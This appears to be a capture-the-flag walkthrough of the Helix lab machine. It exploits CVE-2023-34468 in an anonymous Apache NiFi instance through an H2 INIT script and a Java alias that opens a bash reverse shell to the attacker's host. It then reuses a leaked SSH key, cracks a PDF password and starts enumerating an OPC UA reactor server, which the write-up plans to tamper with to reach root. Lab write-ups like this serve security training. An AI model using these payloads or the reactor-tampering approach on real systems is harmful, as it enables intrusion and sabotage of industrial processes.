Helix

Helix builds an industrial control theme around a chemical reactor that operators monitor and adjust through a control server. I’ll get a foothold on an anonymously-accessible Apache NiFi instance running an old, vulnerable version, abusing the H2 database driver’s ability to run a script on connection to register and call arbitrary Java for execution. From there I’ll find an SSH key on the box and pivot to the next user. That user can run a maintenance console as root, but only while a maintenance window is open. I’ll connect to the reactor’s control server and tamper with its calibration offset to push the temperature past a safety threshold, which opens the window and lets the console drop into a root shell. In Beyond Root, I’ll recover the encrypted NiFi database password.

Box Info

Medium
Release Date 09 May 2026
Retire Date 08 Aug 2026
OS Linux Linux
Rated Difficulty Rated difficulty for Helix
Radar Graph Radar chart for Helix
User
00:15:53xiaowenji
Root
00:20:38shkz
Creator tarfouss3

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.38.238
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-24 18:06 UTC
Nmap scan report for 10.129.38.238
Host is up, received reset ttl 63 (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.38.238
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-24 18:08 UTC
Nmap scan report for 10.129.38.238
Host is up (0.021s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds

Based on the OpenSSH and Nginx versions, the host is likely running Ubuntu 22.04 Jammy LTS.

Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Subdomains - TCP 80

nmap shows a redirect to helix.htb on port 80. It seems that regardless of path, it redirects to http://helix.htb/:

oxdf@hacky$ curl http://10.129.38.238 -I
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 24 Jul 2026 11:36:44 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://helix.htb/

oxdf@hacky$ curl http://10.129.38.238/0xdf -I
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 24 Jul 2026 11:36:48 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://helix.htb/

I’ll use ffuf to bruteforce for subdomains that respond differently, using -ac to auto-calibrate filters against the default responses:

oxdf@hacky$ ffuf -u http://10.129.38.238 -H 'Host: FUZZ.helix.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.38.238
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.helix.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1531ms]
:: Progress: [19966/19966] :: Job [1/1] :: 2040 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

It finds flow.helix.htb responds with an HTTP 200 rather than the 302 above. I’ll add both hosts to my /etc/hosts file:

10.129.38.238 helix.htb flow.helix.htb

I’ll re-scan each host with nmap and scripts by hostname to make sure I didn’t miss anything there, but nothing interesting jumps out.

helix.htb - TCP 80

Site

The site is for an engineering company:

image-20260725064714217 expand

There are a couple forms on the page, but filling them out doesn’t submit requests. All the links lead to other places on the page.

Tech Stack

The HTTP response headers show just Nginx:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 25 Jul 2026 10:20:36 GMT
Content-Type: text/html
Last-Modified: Thu, 16 Apr 2026 08:57:46 GMT
Connection: keep-alive
ETag: W/"69e0a48a-a94d"
Content-Length: 43341

The main page loads as /index.html, suggesting this is a static site.

The 404 page matches the default Nginx 404:

image-20260725064820759

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html since the main page is .html:

oxdf@hacky$ feroxbuster -u http://helix.htb -x html
                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://helix.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET     1117l     3956w    43341c http://helix.htb/
200      GET     1117l     3956w    43341c http://helix.htb/index.html
[####################] - 27s    30000/30000   0s      found:2       errors:0      
[####################] - 27s    30000/30000   1116/s  http://helix.htb/ 

Nothing at all.

flow.helix.htb - TCP 80

Site

The root page shows a redirect message:

image-20260725065106135

After the redirect, it’s an instance of Apache NiFi:

image-20260725090732696

Apache NiFi is an open-source data flow automation platform. It lets users build “flows” that move and transform data between systems using a drag-and-drop, web-based canvas. A flow is made up of processors (boxes that each perform one action, like reading a file, running a query, or transforming data) wired together by connections that pass units of data called FlowFiles from one processor to the next. This canvas is reachable without any login, which means anonymous users can view (and potentially modify) the flow.

The canvas here contains a small two-processor flow inside the NiFi Flow process group. On the right is an ExecuteSQL processor, which runs a SQL query against a configured database connection and emits the results as a FlowFile. Its success relationship connects to a LogAttribute processor on the left, which simply writes the FlowFile’s attributes out to NiFi’s logs. Both processors are currently stopped, and all the counters read zero, so no data has moved through the flow. The status bar at the top shows one warning (yellow triangle). Hovering over the yellow triangle shows it’s required to have some outflow that isn’t there:

image-20260725075856044

If I double-click on the ExecuteSQL processor, I can find the configuration, including the database query, which is just SELECT 1:

image-20260725080031542

If I click into the MaintenanceDB connection, there’s configuration information:

image-20260725080353469

It’s an H2 database, in memory named maint. It’s in MySQL compatibility mode. The user is operator, and the password is protected so that I can’t read it.

One rabbit hole I went down here on my original solve was to try to capture the DB credential by pointing the database connection at my host. I’ll show this in Beyond Root.

Tech Stack

This is clearly NiFi, and the version shown in the corner of each processor shows 1.21.0. This is a very old version of NiFi. Digging through the tags page on GitHub, I’ll find this tag from 7 April 2023:

image-20260725083943257

The 404 page is the default Jetty 404:

image-20260725075540881

This makes sense because Apache NiFi is built in Java, and NiFi versions 1.x used Eclipse Jetty as its webserver.

Shell as nifi

Identify CVE-2023-34468

Searching for “nifi 1.21.0 cve” returns a couple references to CVE-2023-34468:

image-20260725084427981

CVE-2023-34468 Background

NIST describes CVE-2023-34468 as:

The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user to configure a Database URL with the H2 driver that enables custom code execution. The resolution validates the Database URL and rejects H2 JDBC locations. You are recommended to upgrade to version 1.22.0 or later which fixes this issue.

SonicWall has a good writeup of the vulnerability. Nifi lets you set the DBCPConnectionPool’s JDBC connection URL with no validation. The H2 driver supports an INIT= clause that runs SQL at connection time. H2 has a CREATE ALIAS feature that allows for compiling and registering arbitrary Java as a callable function. Putting all this together, I can get RCE. The CVE calls for an “authenticated and authorized user”, but this NiFi allows anonymous access with full control over the canvas and controller services as shown above, so I don’t need any credentials.

RCE

POC

To exploit this, I’ll need to make sure any processors using the DB connection are stopped. Then I’ll go to the DB connection:

image-20260725091311461

It’s currently “Enabled”. I’ll click the lightning bolt with a line through it on the far right of that row to open the disable dialog:

image-20260725091352075

I’ll click “Disable” at the bottom right, and it does:

image-20260725091410723

I’ll click the gear back on the “Controller Services” tab to get to the properties for the DBCPConnectionPool:

image-20260725091625923

The connection URL is made up of the following:

  • jdbc:h2 - Selects the H2 JDBC driver for the connection.
  • mem:maint - Use an in memory database named maint.
  • ; - Break for settings and options to follow.

I’ll keep the first half the same, but update the settings to include the INIT:

jdbc:h2:mem:maint;INIT=RUNSCRIPT FROM 'http://10.10.15.217/poc.sql'

Once that’s set, I’ll click apply at the bottom right:

image-20260725092236265

I’ll re-enable the connection, and then run the processor. There’s a connection at my webserver trying to get poc.sql:

oxdf@hacky$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.38.238 - - [25/Jul/2026 20:02:01] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:01] "GET /poc.sql HTTP/1.1" 404 -
10.129.38.238 - - [25/Jul/2026 20:02:02] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:02] "GET /poc.sql HTTP/1.1" 404 -
10.129.38.238 - - [25/Jul/2026 20:02:03] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:03] "GET /poc.sql HTTP/1.1" 404 -
10.129.38.238 - - [25/Jul/2026 20:02:04] code 404, message File not found
10.129.38.238 - - [25/Jul/2026 20:02:04] "GET /poc.sql HTTP/1.1" 404 -

It’s returning 404 since I haven’t written that file yet. I’ll stop the processor so it stops requesting.

RCE POC

To get RCE from this, I’ll need a poc.sql file that creates an alias. This blog has some examples. I’ll make a few upgrades to the payload in that post to get this:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
  String[] c = {"bash", "-c", cmd};
  java.io.InputStream in = Runtime.getRuntime().exec(c).getInputStream();
  java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('ping -c 1 10.10.15.217');

I’m passing the command in as an arg to bash -c so that when I try to do more complex things like get a reverse shell, characters like > and & won’t break it. For this initial payload, I’m just pinging my host.

I had to disable the connection and re-enable it (though I’m sure there are payloads that wouldn’t require that), and then run the processor to get it to request again, but it does (twice):

10.129.38.238 - - [25/Jul/2026 20:10:30] "GET /poc.sql HTTP/1.1" 200 -
10.129.38.238 - - [25/Jul/2026 20:10:30] "GET /poc.sql HTTP/1.1" 200 -

And then I get pinged (twice):

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:10:30.246234 IP 10.129.38.238 > 10.10.15.217: ICMP echo request, id 3, seq 1, length 64
20:10:30.246262 IP 10.10.15.217 > 10.129.38.238: ICMP echo reply, id 3, seq 1, length 64
20:10:30.424624 IP 10.129.38.238 > 10.10.15.217: ICMP echo request, id 4, seq 1, length 64
20:10:30.424659 IP 10.10.15.217 > 10.129.38.238: ICMP echo reply, id 4, seq 1, length 64

That’s RCE!

Shell

I’ll upgrade the poc.sql file to call a bash reverse shell:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
  String[] c = {"bash", "-c", cmd};
  java.io.InputStream in = Runtime.getRuntime().exec(c).getInputStream();
  java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.15.217/443 0>&1');

I don’t need the bash -c in the front because that’s appended when c is created.

I’ll stop the processor, disable the DB connection, enable the DB connection and start the processor. There’s a connection at the webserver, and then I get a shell:

oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.38.238 42932
bash: cannot set terminal process group (973): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$ 

I’ll upgrade my shell using the standard trick:

nifi@helix:/opt/nifi-1.21.0$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
nifi@helix:/opt/nifi-1.21.0$ ^Z
[1]+  Stopped                 sudo nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
sudo nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
nifi@helix:/opt/nifi-1.21.0$

Alternative RCE

It turns out that the CVE is not needed at all to get a shell through NiFi. I’ll use the Processor button at the top:

image-20260805082225412

When I drag this onto the canvas, it opens a dialog to select a processor:

image-20260805082259932

Scrolling down, there are a few that start with “Execute”:

image-20260805082354796

I’ll pick “ExecuteProcess” and click “Add”. It appears on the canvas:

image-20260805082434555

I’ll double-click to configure. By default, all the properties are empty:

image-20260805082513058

I’ll add a reverse shell:

image-20260805083100694

It’s important to set the “Argument Delimiter” to something that’s not space, or it will not work.

In order to run, I’ll have to connect the output to something. I’ll use the existing “LogAttribute”:

image-20260805082818298

When I run this, I get a shell:

oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.38.238 53048
bash: cannot set terminal process group (975): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$

Shell as operator

Enumeration

Users

The nifi user doesn’t have a valid home directory configured:

nifi@helix:/opt/nifi-1.21.0$ cd ~
bash: cd: /opt/nifi: No such file or directory

In /home, there’s one directory:

nifi@helix:/home$ ls
operator

Only operator and root have shells configured in passwd:

nifi@helix:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
operator:x:1001:1001::/home/operator:/bin/bash

Filesystem

/opt has folders for helix and nifi:

nifi@helix:/$ ls opt/
helix  nifi-1.21.0

nifi can’t access helix. It’s owned by root and the helixsvc group.

nifi-1.21.0 is the nifi directory:

nifi@helix:/opt/nifi-1.21.0$ ls
bin                  flowfile_repository  provenance_repository
conf                 lib                  README
content_repository   LICENSE              run
database_repository  logs                 state
docs                 nifi-1.21.0          support-bundles
extensions           NOTICE               work

One thing I want to look for is the DB credential that I couldn’t access from NiFi. I’ll look at that in Beyond Root.

There’s also an SSH key in support-bundles:

nifi@helix:/opt/nifi-1.21.0$ ls support-bundles/
operator_id_ed25519.bak
nifi@helix:/opt/nifi-1.21.0$ cat support-bundles/operator_id_ed25519.bak 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...[snip]...
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

SSH

I’ll save that key to my host and use it to connect as operator:

oxdf@hacky$ ssh -i ~/keys/helix-operator operator@helix.htb
Warning: Permanently added 'helix.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
...[snip]...
operator@helix:~$

I’ll grab user.txt:

operator@helix:~$ cat user.txt
e9f75bab************************

I thought I would be able to get the operator name from the key itself, but interestingly, it has the comment “root@management”:

oxdf@hacky$ ssh-keygen -yf ~/keys/helix-operator 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOi4R6+1dAvmm4wQ9DMwYSj8tKtsROxZUMfwHjVUc1s7 root@management

Shell as root

Enumeration

sudo

operator can run helix-maint-console as root without a password using sudo:

operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

If I run it (as root or operator), it says the maintenance window is closed:

operator@helix:~$ sudo helix-maint-console
Maintenance window CLOSED.
operator@helix:~$ helix-maint-console
Maintenance window CLOSED.

There are two helix-* files in /usr/local/sbin:

operator@helix:~$ ls -l /usr/local/sbin/helix-*
-rwxr-x--- 1 root root     107 Jan 25 19:12 /usr/local/sbin/helix-cleanup.sh
-rwxr-x--- 1 root operator 932 Jan 25 19:12 /usr/local/sbin/helix-maint-console

I can’t read the cleanup script, but I can read helix-maint-console:

#!/bin/bash
set -euo pipefail

FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))

echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

# Unique scope name
SCOPE="helix-maint-$$"

# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i

# If systemd-run returns, the shell exited.
exit 0

The important part is that it reads a date from /opt/helix/state/maintenance_window, and if that’s a time that’s later than now, then it will basically drop into a root shell. It runs that shell inside its own systemd scope (KillMode=control-group, SendSIGHUP) so the session and any child processes can be cleanly killed when the window expires.

operator can’t write that file directly, as it lives under the root-owned /opt/helix, so dropping in a future timestamp myself isn’t an option. Something privileged has to open the window, and the operator guide in operator’s home directory shows what does.

Home

The operator user has a couple files in their home directory:

operator@helix:~$ ls -la
total 968
drwxr-x--- 5 operator operator   4096 May  5 10:18  .
drwxr-xr-x 3 root     root       4096 May  5 10:18  ..
lrwxrwxrwx 1 root     root          9 Apr 20 10:14  .bash_history -> /dev/null
-rw-r--r-- 1 operator operator    220 Jan  6  2022  .bash_logout
-rw-r--r-- 1 operator operator   3771 Jan  6  2022  .bashrc
drwx------ 3 operator operator   4096 May  5 10:18  .cache
-rw------- 1 operator operator 920611 Jan 26 16:15 'control systems diagram.png'
drwxrwxr-x 5 operator operator   4096 May  5 10:18  .local
lrwxrwxrwx 1 root     root          9 Jan 26 16:11  .mysql_history -> /dev/null
-rw-rw-r-- 1 operator operator  28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'
-rw-r--r-- 1 operator operator    807 Jan  6  2022  .profile
drwx------ 2 operator operator   4096 May  5 10:18  .ssh
-rw-r----- 1 root     operator     33 Jul 25 12:59  user.txt
lrwxrwxrwx 1 root     root          9 Jan 26 16:11  .viminfo -> /dev/null

I’ll grab both over scp:

oxdf@hacky$ scp -i ~/keys/helix-operator operator@helix.htb:*.png .
control systems diagram.png            100%  899KB   1.4MB/s   00:00    
oxdf@hacky$ scp -i ~/keys/helix-operator operator@helix.htb:*.pdf .
Operator Control & Safety Guide.pdf    100%   28KB 382.5KB/s   00:00

control systems diagram.png shows the architecture of their network:

There’s a reference to port 4840 and /helix.

The PDF is encrypted.

PDF

I can bruteforce the password and get access to it. I’ll create a hash with pdf2john.pl:

oxdf@hacky$ /opt/john/run/pdf2john.pl Operator\ Control\ \&\ Safety\ Guide.pdf > pdf.hash

Now I’ll let john crack it with rockyou.txt:

oxdf@hacky$ john pdf.hash --wordlist=rockyou.txt
Warning: detected hash type "PDF", but the string is also recognized as "pdf-opencl"
Use the "--format=pdf-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (PDF, PDF encrypted document [MD5-RC4 / SHA2-AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Cost 2 (key length) is 256 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
operator1        (Operator Control & Safety Guide.pdf)     
1g 0:00:00:39 DONE (2026-07-25 22:12) 0.02533g/s 6688p/s 6688c/s 6688C/s orpheo..olivia09
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed. 

It finds the password, “operator1”, in about 39 seconds.

The PDF has four pages:

image-20260725113740817

There’s a PLC that controls temperature, pressure, and a “CalibrationOffset” for a reactor. There are also safety variables and control variables:

image-20260725113901231

There’s a safety trip if the temperature is above 305 degrees C, or (and?) the pressure is above 75 bar. There are also instructions for coming out of a safety trip.

More importantly, there are instructions for entering a maintenance mode:

image-20260727171545136

And then it talks about new tools becoming available under certain criteria:

image-20260725114328705

Putting the guide together, a maintenance window isn’t something I can toggle directly. The reactor’s live state, including its mode, safety and control flags, and temperature, is exposed over the OPC UA interface from the diagram, and a privileged background controller acts on it. To bring the maintenance tooling online, the plant has to be in MAINTENANCE mode with the test override set, and the temperature pushed into the maintenance band, above 295 degrees C but below the 305 degrees C safety trip. When those conditions hold, the controller opens a timed maintenance window by writing the future timestamp that helix-maint-console reads.

Network

The image made a reference to opc.tcp://127.0.0.1:4840/helix/, which seems important. I’ll check listening ports:

operator@helix:~$ ss -tnl
State          Recv-Q         Send-Q                      Local Address:Port                  Peer Address:Port        Process         
LISTEN         0              50                              127.0.0.1:41969                      0.0.0.0:*                           
LISTEN         0              100                             127.0.0.1:4840                       0.0.0.0:*                           
LISTEN         0              4096                        127.0.0.53%lo:53                         0.0.0.0:*                           
LISTEN         0              50                              127.0.0.1:8080                       0.0.0.0:*                           
LISTEN         0              128                             127.0.0.1:8081                       0.0.0.0:*                           
LISTEN         0              128                               0.0.0.0:22                         0.0.0.0:*                           
LISTEN         0              511                               0.0.0.0:80                         0.0.0.0:*                           
LISTEN         0              128                                  [::]:22                            [::]:*                           
LISTEN         0              50                     [::ffff:127.0.0.1]:38101                            *:*  

There is a service listening on 4840. 8080 and 8081 are also interesting. 8080 is NiFi.

Tunnel

To access some of these services, I’ll create a SSH tunnel. The easiest way to do that is via SSH using -L 8081:127.0.0.1:8081 -L 4840:127.0.0.1:4840.

HTTP - TCP 8081

The site on TCP 8081 is a status page for the reactor:

image-20260726160938719

It shows the mode and the OPC interface, as well as if there is a maintenance window.

The page also reloads every 1.5 seconds due to this script at the bottom of the page:

<script>setTimeout(()=>location.reload(), 1500);</script>

I’ll run feroxbuster but not find anything.

OPC UA Background

OPC UA (Open Platform Communications Unified Architecture) is a machine-to-machine communication protocol used heavily in industrial control systems (ICS), SCADA, and PLC environments. It’s the modern successor to the older, Windows-only “classic OPC”, redesigned to be platform-independent and service-oriented. In a plant, it’s the layer that moves data between sensors, PLCs, controllers, and the SCADA/HMI software that operators watch.

The opc.tcp:// scheme in the URL is the protocol’s native binary transport, which runs over TCP (default port 4840). The /helix/ path portion in the documentation identifies the specific endpoint on the server.

An OPC UA server presents its data as a hierarchical graph of nodes, called its address space. Each node has a NodeId (typically written like ns=2;s=Reactor.Temperature, where ns is the namespace index and s is a string identifier). A namespace is a naming scope within that address space. The ns= index maps to a URI in the server’s namespace table, which keeps identifiers from different sources from colliding. Namespace 0 is reserved for OPC UA’s own standard-defined nodes, while higher indices like ns=2 hold the server’s application-specific nodes, where the reactor’s tags live. The node types that matter here are:

  • Objects: organizational containers that group related nodes (e.g. a “Reactor” object).
  • Variables: nodes that hold a value, known in ICS terms as tags. These are the temperature, pressure, CalibrationOffset, and safety/control values from the PDF. They can be read and, if writable, written.
  • Methods: callable functions exposed by the server, similar to remote procedure calls (RPCs).

Using opcua (Command Line)

Connecting

There’s a Python OPC-UA package. I can run it directly without Python code using uv. The first step is to connect to the endpoint, which I’ll do with the uadiscover command:

oxdf@hacky$ uv run --with opcua --with cryptography uadiscover -u opc.tcp://127.0.0.1:4840/helix/
Installed 8 packages in 22ms
Performing discovery at opc.tcp://127.0.0.1:4840/helix/

Server 1:
  Application URI: urn:freeopcua:python:server
  Product URI: urn:freeopcua.github.io:python:server
  Application Name: FreeOpcUa Python Server
  Application Type: 2
  Discovery URL: opc.tcp://127.0.0.1:4840/helix/

Endpoint 1:
  Endpoint URL: opc.tcp://127.0.0.1:4840/helix/
  Application URI: urn:freeopcua:python:server
  Product URI: urn:freeopcua.github.io:python:server
  Application Name: FreeOpcUa Python Server
  Application Type: 2
  Discovery URL: opc.tcp://127.0.0.1:4840/helix/
  Server Certificate: [no certificate]
  Security Mode: 1
  Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None
  User policy: anonymous
    Token type: 0
    Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None
  User policy: certificate
    Token type: 2
    Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#Basic256Sha256
  User policy: username
    Token type: 1
    Security Policy URI: http://opcfoundation.org/UA/SecurityPolicy#None
  Transport Profile URI: http://opcfoundation.org/UA-Profile/Transport/uatcp-uasc-uabinary
  Security Level: 0

Notes from the output:

  • The server is FreeOpcUa’s Python server, which is the same library as the client I’m using.
  • The security mode is 1, which means none, no auth.

Enumerate Nodes

I’ll browse the address space to enumerate nodes with the uals command, setting a depth of 3:

oxdf@hacky$ uv run --with opcua --with cryptography uals -u opc.tcp://127.0.0.1:4840/helix/ -d 3
Browsing node i=84 at opc.tcp://127.0.0.1:4840/helix/

DisplayName                    NodeId                    BrowseName                Value                    

Objects                        i=85                      0:Objects                
  Locations                      i=31915                   0:Locations
  Server                         i=2253                    0:Server
    ServerArray                    i=2254                    0:ServerArray            , ['urn:freeopcua:python:server']
    NamespaceArray                 i=2255                    0:NamespaceArray         , ['http://opcfoundation.org/UA/', 'urn:freeopcua:python:server', 'urn:helix:ot']
    UrisVersion                    i=15004                   0:UrisVersion            , None
    ServerStatus                   i=2256                    0:ServerStatus           , ServerStatusDataType(StartTime:{self.StartTime}, CurrentTime:{self.CurrentTime}, State:{self.State}, BuildInfo:{self.BuildInfo}, SecondsTillShutdown:{self.SecondsTillShutdown}, ShutdownReason:{self.ShutdownReason})
    ServiceLevel                   i=2267                    0:ServiceLevel           , 255
    Auditing                       i=2994                    0:Auditing               , None
    EstimatedReturnTime            i=12885                   0:EstimatedReturnTime    , None
    LocalTime                      i=17634                   0:LocalTime              , None
    ServerCapabilities             i=2268                    0:ServerCapabilities
    ServerDiagnostics              i=2274                    0:ServerDiagnostics
    VendorServerInfo               i=2295                    0:VendorServerInfo
    ServerRedundancy               i=2296                    0:ServerRedundancy
    Namespaces                     i=11715                   0:Namespaces
    GetMonitoredItems              i=11492                   0:GetMonitoredItems
    ResendData                     i=12873                   0:ResendData
    SetSubscriptionDurable         i=12749                   0:SetSubscriptionDurable 
    RequestServerStateChange       i=12886                   0:RequestServerStateChange
    Dictionaries                   i=17594                   0:Dictionaries
    Quantities                     i=32530                   0:Quantities
    DefaultHAConfiguration         i=32637                   0:DefaultHAConfiguration 
    DefaultHEConfiguration         i=32754                   0:DefaultHEConfiguration 
    ServerConfiguration            i=12637                   0:ServerConfiguration
    PublishSubscribe               i=14443                   0:PublishSubscribe
    Resources                      i=24226                   0:Resources
  Aliases                        i=23470                   0:Aliases
    FindAlias                      i=23476                   0:FindAlias
    LastChange                     i=32852                   0:LastChange             , None
    TagVariables                   i=23479                   0:TagVariables
    Topics                         i=23488                   0:Topics
  Plant                          ns=2;i=1                  2:Plant
    Reactor                        ns=2;i=2                  2:Reactor
    Safety                         ns=2;i=7                  2:Safety
    Control                        ns=2;i=11                 2:Control
Types                          i=86                      0:Types                  
  ObjectTypes                    i=88                      0:ObjectTypes
    BaseObjectType                 i=58                      0:BaseObjectType
  VariableTypes                  i=89                      0:VariableTypes
    BaseVariableType               i=62                      0:BaseVariableType
  DataTypes                      i=90                      0:DataTypes
    XML Schema                     i=92                      0:XML Schema
    OPC Binary                     i=93                      0:OPC Binary
    BaseDataType                   i=24                      0:BaseDataType
  ReferenceTypes                 i=91                      0:ReferenceTypes
    References                     i=31                      0:References
  EventTypes                     i=3048                    0:EventTypes
    BaseEventType                  i=2041                    0:BaseEventType
  InterfaceTypes                 i=17708                   0:InterfaceTypes
    BaseInterfaceType              i=17602                   0:BaseInterfaceType
Views                          i=87                      0:Views

The interesting part is:

  Plant          ns=2;i=1     2:Plant
    Reactor        ns=2;i=2     2:Reactor
    Safety         ns=2;i=7     2:Safety
    Control        ns=2;i=11    2:Control

I could have dumped everything by setting my initial depth (-d) to something more than 3, but the output was very large. I can dump everything below this point:

oxdf@hacky$ uv run --with opcua --with cryptography uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=1" -d 5
Browsing node ns=2;i=1 at opc.tcp://127.0.0.1:4840/helix/

DisplayName                    NodeId                    BrowseName                Value                    

Reactor                        ns=2;i=2                  2:Reactor                
  TemperatureRaw                 ns=2;i=3                  2:TemperatureRaw         , 283.44716241215656
  Temperature                    ns=2;i=4                  2:Temperature            , 283.44716241215656
  Pressure                       ns=2;i=5                  2:Pressure               , 68.95682384275744
  CalibrationOffset              ns=2;i=6                  2:CalibrationOffset      , 0.0
Safety                         ns=2;i=7                  2:Safety                 
  RodsInserted                   ns=2;i=8                  2:RodsInserted           , False
